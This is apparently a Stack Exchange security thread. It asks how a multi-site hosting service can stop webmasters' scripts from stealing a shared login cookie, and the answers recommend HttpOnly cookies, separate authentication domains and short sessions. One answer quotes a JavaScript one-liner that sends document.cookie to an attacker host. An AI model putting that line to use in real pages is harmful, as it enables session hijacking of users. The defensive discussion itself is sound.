I have a service where webmasters can create a website (including the use of javascript).

A user can place a comment on the website of a webmaster.

A user only needs to register and login once and can post comments on all sites with this account. (1 cookie for all subdomains)

How can I prevent a "bad" website getting the cookie with JavaScript (for example the session id)?

After a of bit research: encrypting cookies is a no go, blocking certain javascript function is a no go, binding cookie to ip is a no go.

This becomes a difficult problem, but services like Blogger/Blogspot do it, so it must be possible.

Anyone got a bright idea?

  • 3
    You certainly want to set the cookies as 'HttpOnly', which will prevent access to them through JavaScript
    – crovers
    Commented Dec 5, 2016 at 15:01
  • @crovers did a bit of reading on 'HttpOnly' and it seems great for shielding cookies to http only. I suspect this solves the entire problem (ignoring really old browsers), but just to make sure: does this solve the entire problem? Who did say no easy solutions ;-)
    – Tinus Tate
    Commented Dec 5, 2016 at 15:28
  • SilverlightFox's answer is pretty spot on. I'd just add that you need to ensure that nothing they upload will run server side - make sure they can't upload a php file or ruby file or anything else, since server side things have access to the cookie, obviously
    – crovers
    Commented Dec 5, 2016 at 16:04

2 Answers 2


You could set the HttpOnly attribute to stop a webmaster from extracting the cookie via embedding some script:

new Image().src="//attacker-site.co.uk/"+escape(document.cookie);

However, they could use other methods of attacking the user such as displaying a login box and asking the user to authenticate when they try to submit a comment, grabbing the user's username and password in the process.

The only way to secure this really is to make sure you teach users to authenticate on your main domain only.

e.g. www.example.com

And have the webmaster sites on another domain.

e.g. mysite1.example.org, mysite2.example.org.

When submitting a comment, each site would make an AJAX request to www.example.com which checks authentication and then saves the comment if authenticated. This would prevent webmasters having access to the cookie, and if they try to ask the user for credentials it will be from another origin (domain) therefore clued-up users should not submit them to the webmaster site.

  • Cheers @SilverlightFox. The 'HttpOnly' solution sounds like a good plan. I'm not entirely sure how i shall implement all my functionality when it comes to your second point (webmaster copying the login form and such). But i'll do a bit of thinking and research about that one first.
    – Tinus Tate
    Commented Dec 5, 2016 at 17:38

Assuming you mean that you want to protect against a 3rd party intercepting and copying the cookie then replaying it to gain access?

This kind of replay attack is a scenario often overlooked. There are a couple of things you should do:

  • Keep the session lifespans relatively short. So if someone does do a successful replay attack, they can only do it for a short while.
  • Capture something unique to the client and make sure you check it periodically. Typical example for this is when using JWT, capture the clients IP address as part of the hash in the token & every few requests and/or every few seconds, check that the hash is still valid. You will probably not do it on every request as this can be very resource heavy if you have a lot of users.
  • Cheers Julian, would short session lifespan be a problem cause users will keep getting logged out and need to manually login? I will do a bit reading on your second point!
    – Tinus Tate
    Commented Dec 5, 2016 at 15:37
  • Short sessions can be a pain it is true. But do some reading on securing JWT sessions and think about combining the two bullets. A session renewal doesn't always have to be a re-login. Typically sessions are renewed by user activity within a given time period. Coupled with periodic checks on IP and possibly other client factors, possibly even a couple of factors out of a larger number and randomly selecting them each time so that any attacker would have to capture a lot of data and would be likely to guess wrong what data was required. Commented Dec 5, 2016 at 20:55

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .